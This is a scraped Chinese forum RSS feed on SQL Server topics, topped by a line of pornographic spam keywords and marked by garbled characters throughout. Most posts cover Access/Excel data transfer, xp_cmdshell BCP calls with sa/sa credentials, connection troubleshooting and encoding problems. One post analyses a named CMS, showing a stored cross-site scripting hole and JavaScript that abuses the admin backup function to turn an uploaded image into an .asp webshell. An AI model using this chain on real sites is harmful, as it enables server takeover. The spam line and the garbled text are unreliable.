亚洲va精品中文字幕,亚洲最新中文字幕,亚洲av中文无码乱人伦在线视色 http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團(tuán)論壇數(shù)據(jù)庫中SQL Server和Access、Excel數(shù)據(jù)傳輸簡單總結(jié)http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2534&Page=1wangxinxin2010-12-13 14:01:21所謂的數(shù)據(jù)傳輸,其實是指SQLServer訪問Access、Excel間的數(shù)據(jù)。為什么要考慮到這個問題呢?由于歷史的原因,客戶以前的數(shù)據(jù)很多都是在存入在文本數(shù)據(jù)庫中,如Acess、Excel、Foxpro。現(xiàn)在系統(tǒng)升級及數(shù)據(jù)庫服務(wù)器如SQLServer、ORACLE后,經(jīng)常需要訪問文本數(shù)據(jù)庫中的數(shù)據(jù),所以就會產(chǎn)生這樣的需求。前段時間出差的項目,就是面臨這樣的一個問題:SQLServer和VFP之間的數(shù)據(jù)交換。

要完成標(biāo)題的需要,在SQLServer中是一件非常簡單的事情。通常的可以有3種方式:1、DTS工具 2、BCP 3、分布式查詢DTS就不需要說了,因為那是圖形化操作界面,很容易上手。這里主要講下后面兩們,分別以查、增、刪、改作為簡單的例子:

直接以T-SQL的形式表現(xiàn)出來。

一、SQLServer和Access

1、查詢Access中數(shù)據(jù)的方法:

select * from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')

或select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="c:\DB2.mdb";User ID=Admin;Password=')...serv_user

2、從SQLServer向Access寫數(shù)據(jù):

insert into OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
select * from SQLServer表

或用BCPmaster..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

上面的區(qū)別主要是:OpenRowSet需要mdb和表存在,BCP會在不存在的時候生成該mdb

3、從Access向SQLServer寫數(shù)據(jù):

有了上面的基礎(chǔ),這個就很簡單了

insert into SQLServer表 select * from
OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')

或用BCP

master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" in "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

4、刪除Access數(shù)據(jù):

delete from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
where lock=0

5、修改Access數(shù)據(jù)

update OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
set lock=1

SQLServer和Access大致就這么多。

二、SQLServer和Excel

1、向Excel查詢

select * from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]') where c like '%f%'

select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls',[sheet1$])

1)hdr=yes時可以把xls的第1行作為字段看待,如第1個中hdr=no的話,where時就會報錯
2)[]和美圓$必須要,否則M$可不認(rèn)這個賬

2、修改Execl

update OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet1$]')
set a='erquan' where c like '%f%'

3、導(dǎo)入導(dǎo)出
insert into OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet2$]')(id,name)
select id,name from serv_user

或BCP         master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\book2.xls" -c -q -S"." -U"sa" -P"sa"'

從Excel向SQLServer導(dǎo)入:

select * into serv_user_bak
from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]')

如果表serv_user_bak不存在,則創(chuàng)建有關(guān)BCP和分布式查詢的詳細(xì)解答,就查SQLServer自帶的幫助吧。SQLServer和txt文件、HTML文件、VFP文件的數(shù)據(jù)交換都顯得非常容易了。

其實這些內(nèi)容在幫助里都有,總結(jié)了一下,方便大家參考。以上內(nèi)容都經(jīng)過測試

]]>
如何在程序中不同數(shù)據(jù)庫間操作數(shù)據(jù)?http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2533&Page=1wangxinxin2010-12-13 13:49:31但執(zhí)行下述語句時卻不成功,顯示出錯信息如下:[DBNETLIB][ConnectionOpe(Connect().]SQL Server不存在或拒絕訪問,如何解決呢?
(其目的是想從本地數(shù)據(jù)庫選擇數(shù)據(jù)記錄,然后直接插入遠(yuǎn)程數(shù)據(jù)庫的表中。或者有什么方法可以達(dá)到目的)
“it”為本地數(shù)據(jù)庫名
ADOConnection.Connected := True;
ADOConnection.Execute('SELECT * into Test FROM openrowset(''sqloledb'',''it'';''sa'';''123456'',Test.dbo.Test) ');

2樓: 個人覺得是沒有開SQL SERVER驗證,連接串是什么

下面最經(jīng)典的帖子,

一."SQL Server 不存在或訪問被拒絕"

這個是最復(fù)雜的,錯誤發(fā)生的原因比較多,需要檢查的方面也比較多.
一般說來,有以下幾種可能性:
1,SQL Server名稱或IP地址拼寫有誤
2,服務(wù)器端網(wǎng)絡(luò)配置有誤
3,客戶端網(wǎng)絡(luò)配置有誤
要解決這個問題,我們一般要遵循以下的步驟來一步步找出導(dǎo)致錯誤的原因.
============= 首先,檢查網(wǎng)絡(luò)物理連接 =============
ping <服務(wù)器IP地址/服務(wù)器名稱>
如果 ping <服務(wù)器IP地址> 不成功,說明物理連接有問題,這時候要檢查硬件設(shè)備,如網(wǎng)卡,HUB,路由器等.還有一種可能是由于客戶端和服務(wù)器之間安裝有防火墻軟件造成的,比如 ISA Server.防火墻軟件可能會屏蔽對 ping,telnet 等的響應(yīng)
因此在檢查連接問題的時候,我們要先把防火墻軟件暫時關(guān)閉,或者打開所有被封閉的端口.
如果ping <服務(wù)器IP地址> 成功而,ping <服務(wù)器名稱> 失敗
則說明名字解析有問題,這時候要檢查 DNS 服務(wù)是否正常.
有時候客戶端和服務(wù)器不在同一個局域網(wǎng)里面,這時候很可能無法直接使用服務(wù)器名稱來標(biāo)識該服務(wù)器,這時候我們可以使用HOSTS文件來進(jìn)行名字解析,
具體的方法是:
1.使用記事本打開HOSTS文件(一般情況下位于C:\WINNT\system32\drivers\etc).
添加一條IP地址與服務(wù)器名稱的對應(yīng)記錄,如:
172.168.10.24 myserver

2.或在 SQL Server 的客戶端網(wǎng)絡(luò)實用工具里面進(jìn)行配置,后面會有詳細(xì)說明.

====接著,我們要到服務(wù)器上檢查服務(wù)器端的網(wǎng)絡(luò)配置,檢查是否啟用了命名管道.是否啟用了 TCP/IP 協(xié)議等等 =============
點擊:程序 -- Microsoft SQL Server -- 服務(wù)器網(wǎng)絡(luò)使用工具

打開該工具后,在"常規(guī)"中可以看到服務(wù)器啟用了哪些協(xié)議.
一般而言,我們啟用命名管道以及 TCP/IP 協(xié)議.
點中 TCP/IP 協(xié)議,選擇"屬性",我們可以來檢查 SQL Server 服務(wù)默認(rèn)端口的設(shè)置
一般而言,我們使用 SQL Server 默認(rèn)的1433端口.如果選中"隱藏服務(wù)器",則意味著客戶端無法通過枚舉服務(wù)器來看到這臺服務(wù)器,起到了保護(hù)的作用,但不影響連接.



============= 接下來我們要到客戶端檢查客戶端的網(wǎng)絡(luò)配置 =============
我們同樣可以利用 SQL Server 自帶的客戶端網(wǎng)絡(luò)使用工具來進(jìn)行檢查,
點擊:程序 -- Microsoft SQL Server -- 客戶端網(wǎng)絡(luò)使用工具

打開該工具后,在"常規(guī)"項中,可以看到客戶端啟用了哪些協(xié)議.
一般而言,我們同樣需要啟用命名管道以及 TCP/IP 協(xié)議.
點擊 TCP/IP 協(xié)議,選擇"屬性",可以檢查客戶端默認(rèn)連接端口的設(shè)置,該端口必須與服務(wù)器一致.
單擊"別名"選項卡,還可以為服務(wù)器配置別名.服務(wù)器的別名是用來連接的名稱,
連接參數(shù)中的服務(wù)器是真正的服務(wù)器名稱,兩者可以相同或不同.別名的設(shè)置與使用HOSTS文件有相似之處.

二."無法連接到服務(wù)器,用戶xxx登陸失敗"

該錯誤產(chǎn)生的原因是由于SQL Server使用了"僅 Windows"的身份驗證方式,
因此用戶無法使用SQL Server的登錄帳戶(如 sa )進(jìn)行連接.解決方法如下所示:

1.在服務(wù)器端使用企業(yè)管理器,并且選擇"使用 Windows 身份驗證"連接上 SQL Server
操作步驟:
在企業(yè)管理器中
--右鍵你的服務(wù)器實例(就是那個有綠色圖標(biāo)的)
--編輯SQL Server注冊屬性
--選擇"使用windows身份驗證"

--選擇"使用SQL Server身份驗證"
--登錄名輸入:sa,密碼輸入sa的密碼
--確定

2.設(shè)置允許SQL Server身份登錄
操作步驟:
在企業(yè)管理器中
--展開"SQL Server組",鼠標(biāo)右鍵點擊SQL Server服務(wù)器的名稱
--選擇"屬性"
--再選擇"安全性"選項卡
--在"身份驗證"下,選擇"SQL Server和 Windows ".
--確定,并重新啟動SQL Server服務(wù).

在以上解決方法中,如果在第 1 步中使用"使用 Windows 身份驗證"連接 SQL Server 失敗,
那就通過修改注冊表來解決此問題:

1.點擊"開始"-"運行",輸入regedit,回車進(jìn)入注冊表編輯器
2.依次展開注冊表項,瀏覽到以下注冊表鍵:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer]
3.在屏幕右方找到名稱"LoginMode",雙擊編輯雙字節(jié)值
4.將原值從1改為2,點擊"確定"
5.關(guān)閉注冊表編輯器
6.重新啟動SQL Server服務(wù).

此時,用戶可以成功地使用sa在企業(yè)管理器中新建SQL Server注冊,
但是仍然無法使用Windows身份驗證模式來連接SQL Server.
這是因為在 SQL Server 中有兩個缺省的登錄帳戶:
BUILTIN\Administrators
<機(jī)器名>\Administrator 被刪除.
要恢復(fù)這兩個帳戶,可以使用以下的方法:

1.打開企業(yè)管理器,展開服務(wù)器組,然后展開服務(wù)器
2.展開"安全性",右擊"登錄",然后單擊"新建登錄"
3.在"名稱"框中,輸入 BUILTIN\Administrators
4.在"服務(wù)器角色"選項卡中,選擇"System Administrators"
5.點擊"確定"退出
6.使用同樣方法添加 <機(jī)器名>\Administrator 登錄.
說明:

以下注冊表鍵:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode
的值決定了SQL Server將采取何種身份驗證模式.
1.表示使用"Windows 身份驗證"模式
2.表示使用混合模式(Windows 身份驗證和 SQL Server 身份驗證).


]]>
利用or構(gòu)造SQL巧妙注射-分析睿智管理系統(tǒng)安全http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2532&Page=1wangxinxin2010-12-13 13:47:46???? 最近上cnzz下載了一套網(wǎng)站管理系統(tǒng),在源碼首頁發(fā)現(xiàn)它,心想cnzz都推薦應(yīng)該安全性相當(dāng)不錯了.官方下載最新版本本地搭建IIS測試發(fā)現(xiàn)簡潔易用,整體上安全做得不錯.由于是免費版的,可能官方有點放水.不過這里不影響我們的分析,這里討論兩個方面:跨站的利用,SQL注射.還是一句話:重在思路.
一.隱藏的數(shù)據(jù)庫
分析代碼經(jīng)常要用到數(shù)據(jù)庫(我分析的是Access版本的) ,習(xí)慣性的打開數(shù)據(jù)庫,驚奇的發(fā)現(xiàn)只有一個notdown表,如圖01:
  
可是再仔細(xì)查看代碼發(fā)現(xiàn)不應(yīng)該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發(fā)現(xiàn)原來有還存在兩種屬性的數(shù)據(jù)表,即系統(tǒng)對象和隱藏對象.下面做一個小知識補(bǔ)充:
由于Access默認(rèn)是不顯示系統(tǒng)對象和隱藏對象的.所以如果一個表中存在隱藏對象或者系統(tǒng)對象那么就無法看到該表了. 簡單說下隱藏方法,設(shè)計好表后右擊表選擇&quot;屬性&quot;-&gt;&quot;隱藏&quot;屬性打勾,刷新下就看不到了,這樣就是隱藏對象了,默認(rèn)是看不到的.至于系統(tǒng)對象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個系統(tǒng)對象.這兩種方法都可以.
既然可以隱藏當(dāng)然也可以恢復(fù)顯示了, 按如下操作:“工具”菜單-&gt;“選項”命令-&gt;“視圖”選項卡-&gt;選中“顯示”一欄下的“系統(tǒng)對象”復(fù)選框或者&quot;隱藏對象&quot;復(fù)選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02
  
Ok了,數(shù)據(jù)就可以和正常的一樣了.
二.跨站的深入利用雞肋
首先看看漏洞文件/include/PlS.asp,查看代碼發(fā)現(xiàn)是一個評論顯示,在多個文件被包含了,代碼如下:  
&quot;&quot; then
??????Dim Author,Content,mycode
????Author=Trim(Request.Form(&quot;Author&quot;))// 簡單的過濾空格
????Content=Trim(Request.Form(&quot;Content&quot;)) //同上
????mycode = trim(request.form(&quot;code&quot;))
??????if Author=&quot;&quot; or Content=&quot;&quot; then
??????Call Alert (&quot;請?zhí)顚懲暾偬峤?amp;quot;,&quot;-1&quot;)
????end if
????if mycodeSession(&quot;getcode&quot;) then
?????? Call Alert (&quot;您輸入驗證碼錯誤&quot;,&quot;-1&quot;)
????end if
??????set rs = server.CreateObject (&quot;adodb.recordset&quot;)
????sql=&quot;select * from zhi_rui_E_Pl&quot;
????rs.open sql,conn,1,3
????rs.addnew
????rs(&quot;cli&quot;)=Request.Form(&quot;cli&quot;)
????rs(&quot;Ioid&quot;)=request.Form(&quot;Inid&quot;)
????rs(&quot;Author&quot;)=Author
????rs(&quot;Content&quot;)=Content
??------------------------省略部分代碼-------------------------------
%&gt;

顯然沒有任何過濾,直接寫入數(shù)據(jù)庫,跨站產(chǎn)生了.由于數(shù)據(jù)庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數(shù)據(jù)庫?進(jìn)入后臺看到數(shù)據(jù)庫備份,查看如圖03:
  
看到了沒,據(jù)庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實不然,還可以繼續(xù),經(jīng)驗告訴我,他是將該輸入框?qū)懗蒱idden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下:  
&quot; size=&quot;40&quot; /&gt;[/td]

看到這行type=hidden,猜測沒錯.那也就是說同樣可以備份任意文件了.所有后臺拿shell比較簡單了.(插馬備份數(shù)據(jù)庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創(chuàng)建xmlhttp會話
if (window.XMLHttpRequest)
{
??xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
??try
??{
????xmlhttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
??}
??catch (e)
??{
????try
????{
??????xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
????}
????catch (e)
????{
????}
??}
}
function backup()
{
??var postStr = &quot;DBpath=upload/2009082150598817.jpg&amp;bkfolder=../DataBase/bak/&amp;bkDBname=l4nk0r.asp&quot;;
??xmlhttp.open(&quot圖片點擊可在新窗口打開查看OST&quot;,&quot;/admin/Admin_data.asp?action=RestoreData&amp;act=Restore&quot;,true);
??xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);
??xmlhttp.send(postStr);
}
Backup();

然后在你要提交的地方提交
]]>
Vista真夠絕:只支持SQL Server 2005http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2531&Page=1wangxinxin2010-12-13 13:45:58
以下內(nèi)容含腳本,或可能導(dǎo)致頁面不正常的代碼
說明:上面顯示的是代碼內(nèi)容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
用SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2530&Page=1wangxinxin2010-12-13 13:40:37    當(dāng)對企業(yè)級的高性能的數(shù)據(jù)庫的要求和需求增加時,客戶有時需要從文件棗服務(wù)器環(huán)境的Microsoft Access Jet引擎遷移到客戶棗服務(wù)器環(huán)境的Microsoft SQL Server。隨同微軟Office 2000發(fā)行的Access 2000 Upsizing Wizard(升級向?qū)В┛梢园袮ccess表格和查詢遷移到SQL Server 7.0。如果你使用Access的早期版本,你也可以通過升級到Access 2000,并使用升級向?qū)О涯愕膽?yīng)用程序移植到SQL SERVER。

    如果你不喜歡使用Access 2000和升級向?qū)нM(jìn)行移植,那么這篇文章作為向遷移一個Access應(yīng)用程序到SQL Server。要遷移Access應(yīng)用程序,你需要首先把數(shù)據(jù)遷移到SQL Server 7.0,然后把Access查詢移植到數(shù)據(jù)庫或SQL文件,最后是移植應(yīng)用程序。

●移植中使用的SQL Server工具

    SQL Server中的一些工具可以幫助你移植Access數(shù)據(jù)和應(yīng)用程序

*SQL Server企業(yè)管理器

    SQL Server企業(yè)管理器允許對SQL Server和SQL Server對象的企業(yè)范圍的設(shè)置和管理。SQL Server企業(yè)管理器提供了一個強(qiáng)大的任務(wù)安排引擎、管理警告能力、以及內(nèi)建的復(fù)制管理界面。你還可以用SQL Server企業(yè)管理器來:

管理登錄和用戶權(quán)限
創(chuàng)建腳本
管理SQL SERVER對象的備份
備份數(shù)據(jù)庫和事務(wù)日志
管理表、視圖、存儲過程、觸發(fā)器、索引、規(guī)則、缺省設(shè)定和自定義數(shù)據(jù)類型
創(chuàng)建全文索引、數(shù)據(jù)庫圖表和數(shù)據(jù)庫維護(hù)方案
輸入輸出數(shù)據(jù)
轉(zhuǎn)換數(shù)據(jù)
執(zhí)行不同的Web網(wǎng)絡(luò)管理任務(wù)
缺省情況下,SQL Server企業(yè)管理器被SQL Server作為服務(wù)器軟件的一部分安裝在運行Windows NT操作系統(tǒng)的計算機(jī)上,同時作為客戶軟件的一部分安裝在運行Windows NT和Windows 95操作系統(tǒng)的計算機(jī)上。你很可能要從SQL Server企業(yè)管理器的圖形用戶界面啟動數(shù)據(jù)轉(zhuǎn)換服務(wù)(Data Transformation Services,DTS)。

數(shù)據(jù)轉(zhuǎn)換服務(wù)(DTS)

    數(shù)據(jù)轉(zhuǎn)換服務(wù)允許你在使用一個OLE DB結(jié)構(gòu)的多個數(shù)據(jù)源之間輸入和輸出數(shù)據(jù),這樣的數(shù)據(jù)源有Microsoft Excel電子表格,以及在運行SQL Server 7.0的多臺計算機(jī)之間執(zhí)行數(shù)據(jù)庫和數(shù)據(jù)庫對象的傳輸。你還可以用DTS來執(zhí)行數(shù)據(jù)轉(zhuǎn)換,以便用它來通過一個在線事務(wù)處理系統(tǒng)建立數(shù)據(jù)倉庫和數(shù)據(jù)商場。

    DTS向?qū)г试S你交互的創(chuàng)建使用OLE DB和ODBC來進(jìn)行輸入、輸出、確認(rèn)和不同數(shù)據(jù)的轉(zhuǎn)換的DTS包。向?qū)н允許你在相關(guān)數(shù)據(jù)庫之間拷貝計劃和數(shù)據(jù)。

SQL SERVER查詢分析器(Server Query Analyzer)

    SQL SERVER查詢分析器是一個圖形化查詢工具,它允許你可視化的分析一個查詢方案,同時執(zhí)行多重查詢、查看數(shù)據(jù)、獲得索引建議。SQL Server查詢分析器提供顯示方案(showplan)選項,可以用它來報告SQL Server查詢優(yōu)化器選擇的數(shù)據(jù)獲取方案。

SQL Server輪廓(Server Profiler)

    SQL SERVER輪廓實時捕捉服務(wù)器活動的連續(xù)的記錄。SQL Server輪廓允許你監(jiān)控通過SQL Server產(chǎn)生的事件,過濾基于用戶指定準(zhǔn)則的事件和直接跟蹤到顯示器、文件或者表的輸出。使用SQL Server輪廓,你可以重放先前的捕捉記錄。這個工具幫助應(yīng)用程序開發(fā)人員鑒別可能使應(yīng)用程序性能惡化的事務(wù)。當(dāng)從一個基于文件的體系結(jié)構(gòu)移植一個應(yīng)用程序到一個基于客戶/服務(wù)器的體系結(jié)構(gòu)時,它是很有幫助的,因為最后的步驟包含針對應(yīng)用程序的新客戶/服務(wù)器環(huán)境優(yōu)化該應(yīng)用程序的操作。

移動表格和數(shù)據(jù)

    使用DTS向?qū)нw移你的Access數(shù)據(jù)到SQL Server,你可以使用這些步驟:

    在SQL SERVER企業(yè)管理器中的Tools(工具)菜單上,選擇Data Transformation Services(數(shù)據(jù)轉(zhuǎn)換服務(wù)),然后選擇Import Data(導(dǎo)入數(shù)據(jù))。
在Choose a Data Source(選擇數(shù)據(jù)源)對話框中選擇Microsoft Access as the Source,然后鍵入你的.mdb數(shù)據(jù)庫(.mdb文件擴(kuò)展名)的文件名或通過瀏覽尋找該文件。
在Choose a Destination(選擇目標(biāo))對話框中,選擇Microsoft OLE DB Provider for SQL Server,選擇數(shù)據(jù)庫服務(wù)器,然后單擊必要的驗證方式。
在Specify Table Copy(指定表格復(fù)制)或Query(查詢)對話框中,單擊Copy tables(復(fù)制表格)。
在Select Source Tables(選擇源表格)對話框中,單擊Select All(全部選定)。

移植Microsoft Access查詢

    你必須以這些格式之一遷移你現(xiàn)有的Access查詢到SQL Server:

Transact-SQL腳本

    Transact-SQL語句通常從數(shù)據(jù)庫程序被調(diào)用,但是你可以使用包含在SQL Server 7.0中的SQL Server查詢分析器在數(shù)據(jù)庫中直接運行它們。SQL Server查詢分析器幫助開發(fā)者針對開發(fā)數(shù)據(jù)庫測試Transact-SQL語句,或運行Transact-SQL語句執(zhí)行查詢、數(shù)據(jù)操作(INSERT、UPDATE、DELETE)或數(shù)據(jù)定義(CREATE TABLE)。

存儲過程

    開發(fā)者可以把大多數(shù)源于Access查詢(SELECT、INSERT、UPDATE 和 DELETE)的Transact-SQL語句轉(zhuǎn)換為存儲過程。用Transact-SQL寫的存儲過程可以用來封裝和標(biāo)準(zhǔn)化你的數(shù)據(jù)訪問,存儲過程實際上存儲在數(shù)據(jù)庫內(nèi)。存儲過程能帶或者不帶參數(shù)運行,可以從數(shù)據(jù)庫程序調(diào)用,也可以從SQL Server查詢分析器手動執(zhí)行。

視圖

    視圖作為虛擬的表格從一個或更多的表格顯露指定的行和列。它們允許用戶創(chuàng)建查詢而不用直接實現(xiàn)那些復(fù)雜的底層查詢。視圖不支持參數(shù)。向視圖加入一個更多的表格不能使用INSERT、UPDATE、或DELETE語句修改。視圖可以用Transact-SQL語句調(diào)用,并且也可以在SQL Server查詢分析器中的*.scripts中使用。SQL Server視圖和SQL-92標(biāo)準(zhǔn)不支持視圖中的ORDER BY 子句。
 

更多關(guān)于Transact-SQL、存儲過程或者視圖的信息,見SQL Server Books Online。

Access查詢類型
SQL Server移植選項和注釋

 
一個SELECT語句可以被存儲在Transact-SQL文件、存儲過程或者視圖中。
創(chuàng)建存儲過程是實現(xiàn)把數(shù)據(jù)庫應(yīng)用程序開發(fā)同數(shù)據(jù)庫設(shè)計的物理實現(xiàn)分離的最好方法。存儲過程在一個地方創(chuàng)建,并且被應(yīng)用程序調(diào)用。

如果底層數(shù)據(jù)庫改變了,并且存儲過程被仔細(xì)的修改以反映這些變化,則對存儲過程的調(diào)用不會被“中斷”。

CROSSTAB
交叉表經(jīng)常用于摘要報告。
Access交叉表可以在SQL腳本中作為Transact-SQL SELECT語句實現(xiàn),也可以作為存儲過程或者一個視圖實現(xiàn)。每次一個查詢被列舉的時候,數(shù)據(jù)節(jié)點將會重執(zhí)行,請確保使用最新的數(shù)據(jù)。
根據(jù)不同的數(shù)據(jù)庫需要,也許把交叉表中的數(shù)據(jù)存儲為臨時表比較合適(請參看下一行的MAKE TABLE)。臨時表只需要很少的資源,但是只提供了創(chuàng)建臨時表的時刻,數(shù)據(jù)的一個照相。

MAKE TABLE
Access的MAKE TABLE可以在Transact-SQL腳本或者存儲過程中作為Transact-SQL的CREATE TABLE語句實現(xiàn)。語法如下:

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

]]>
用SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2529&Page=1wangxinxin2010-12-13 13:37:22SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)
1.后臺代碼
/*******************************************************************
實訓(xùn)任務(wù):工資管理系統(tǒng)設(shè)計 for MSSQLSERVER2000
作者:小金
E-MAIL:lk007@163.com
BBS:bbs.nettf.net/forums/index.php

函數(shù)匯總:
********視圖*************
v_month_all
作用:返回當(dāng)前年月的所有員工工資信息
語法:SELECT * FROM v_month_all

*******存儲過程***********
proc_query_member_info
作用:指定員工基本信息的查詢
語法:proc_query_member_info @name=QUERY_NAME
示例:EXEC proc_query_member_info @name='小金'

proc_query_group
作用:指定部門或全部部門的查詢
語法:proc_query_group @group=QUERY_NAME
示例:EXEC proc_query_group @group='安全部'
EXEC proc_query_group @group='ALL'

proc_all_acc_by_year
作用:統(tǒng)計指定年份整個企業(yè)的工資和各部門每個月份的工資總額
語法:proc_all_acc_by_year @year=QUERY_YEAR,@sign=SIGN
示例:EXEC proc_all_acc_by_year @year='2005',@sign='SUM'

proc_curmon_group
作用:返回當(dāng)前月份某個部門員工的工資信息
語法:proc_curmon_group @group=QUERY_GROUP
示例:EXEC proc_curmon_group @group='社會勞動部'

proc_query_member_acc
作用:查詢指定員工的工資信息
語法:proc_query_member_acc @name=QUERY_NAME
示例:EXEC proc_query_member_acc @name='小金'

]]>
國際化使用UTF-8造成數(shù)據(jù)庫MSSQL Server 2000/2005存儲亂碼的分析http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2528&Page=1wangxinxin2010-12-13 13:34:58看了許多網(wǎng)上使用MSSQL Server 2000/2005使用UTF-8造成數(shù)據(jù)庫存儲亂碼的描述,也說一下自己做的一個國際化項目的經(jīng)驗。
這個項目描述:
架構(gòu):VC++的ATL Server進(jìn)行開發(fā);
頁面:web頁面是UTF-8編碼,CodePage=65001;
應(yīng)用服務(wù)器程序:編譯好的dll是Unicode編碼;
操作系統(tǒng):中文Windows 2003 Server;
數(shù)據(jù)庫聯(lián)接方式:OLEDB
數(shù)據(jù)庫:中文MSSQL Sever2005,顯示Codepage=936,
字段都是支持Unicode的nchar,nvarcha,nText;
SELECT COLLATIONPROPERTY('Chinese_PRC_Stroke_CI_AI', 'CodePage')
936
________________________________________________

發(fā)現(xiàn)從Web頁面提交的數(shù)據(jù)到數(shù)據(jù)后查詢總是亂碼,經(jīng)過檢查,發(fā)現(xiàn)保存的數(shù)據(jù)直接就是是UTF-8編碼,其CodePage=65001,而數(shù)據(jù)默認(rèn)顯示支持的Unicode語言版本Codepage=936(即是簡體中文),所以數(shù)據(jù)查詢的就是亂碼,想過兩種方案:
1,懷疑是數(shù)據(jù)時UTF-8編碼,而SQLServer是UCS-2 版本,相通過UTF-8-〉UCS-2轉(zhuǎn)換,發(fā)現(xiàn)還是行不通,仍然亂碼,此路不通;
2,
搜索了網(wǎng)絡(luò)發(fā)現(xiàn)并沒有現(xiàn)成的例子,經(jīng)過測試中文系統(tǒng)使用Web頁面為GB2312編碼提交的數(shù)據(jù)到數(shù)據(jù)很正常,基于Windows2003是支持
Unicode(UCS-2),排除操作系統(tǒng)的問題,這個過程經(jīng)過分析可以這么理解:936(Web頁面編碼GB2312)-〉Unicode(應(yīng)用服務(wù)
器端)-〉Unicode(數(shù)據(jù)庫OLEDB傳輸)-〉UCS-2(數(shù)據(jù)庫)-〉自動轉(zhuǎn)化為936(Unicode簡體中文語言版本),而使用UTF-8
的Web頁面這個過程就是:65001(Web頁面編碼UTF-8)-〉Unicode(應(yīng)用服務(wù)器端)-〉Unicode(數(shù)據(jù)庫OLEDB傳輸)-〉
UCS-2(數(shù)據(jù)庫)-〉自動轉(zhuǎn)化為936(Unicode簡體中文語言版本),所以最后的使用數(shù)據(jù)分析查詢器看到的就是亂碼,最后確定的方案就是兩種手
段:一是更改數(shù)據(jù)查詢分析器的Codepage為65001,很顯然當(dāng)前的SQLServer沒有這個功能(沒找到?知道的告訴我);二是將前端的UTF
-8轉(zhuǎn)為GB2312編碼,很顯然這個最后成功了,這個過程程序還是保留了所有的多語言的特性,一位UTF-8-〉GB2312,這個過程是無損的(新的
驗證會出現(xiàn)部分方塊無法顯示),因為是UTF-8->Unicode->GB2312.
總結(jié):
1,MSSQL
Server不支持UTF-8(Codepage=65001)直接顯示,數(shù)據(jù)庫查詢的顯示數(shù)據(jù)使用默認(rèn)的Codepage,如簡體中文版就是936,繁
體中文是950,韓文949等,因此從使用的Web頁面UTF-8提交的數(shù)據(jù)自動轉(zhuǎn)換為所用的Codepage顯示,因此就是亂碼,這個有待MS
SQL
Server進(jìn)一步發(fā)展,因為現(xiàn)在Oracle和MySQL是可以支持直接UTF-8存儲顯示,國際化時請先將數(shù)據(jù)由UTF-8編碼轉(zhuǎn)化為MSSQL數(shù)據(jù)
庫默認(rèn)的編碼,讀寫出來這個過程著相反進(jìn)行轉(zhuǎn)化,這個過程看起來會因為轉(zhuǎn)化過程影響處理速度(抉擇于國際化);
2,ASP/ASPX/JSP/PHP使用MSSQL Server編程支持UTF-8都會面臨這樣的問題,可以看看MSDN有關(guān)這個方面的解釋
補(bǔ)充:根據(jù)測試和MSDN分析,將UTF-8轉(zhuǎn)化為GB2312并不是很好的方案,這樣會使包含韓文、阿拉伯文等等,這些都會變成問號,所以整個過程并不是很繁瑣,簡化一下:
寫數(shù)據(jù)庫:瀏覽器表單提交數(shù)據(jù)(UTF-8)(ANSI編碼)-〉應(yīng)用服務(wù)器端程序(進(jìn)行UTF-8-〉Unicode)-〉MS SQL Server(自動轉(zhuǎn)化為字符集936編碼顯示內(nèi)容,但數(shù)據(jù)肯定是Unicode方式存儲的);
讀數(shù)據(jù)庫:MS SQL Server(936 - Unicode)-〉應(yīng)用服務(wù)器端程序(進(jìn)行Unicode-〉UTF-8)-〉瀏覽器顯示
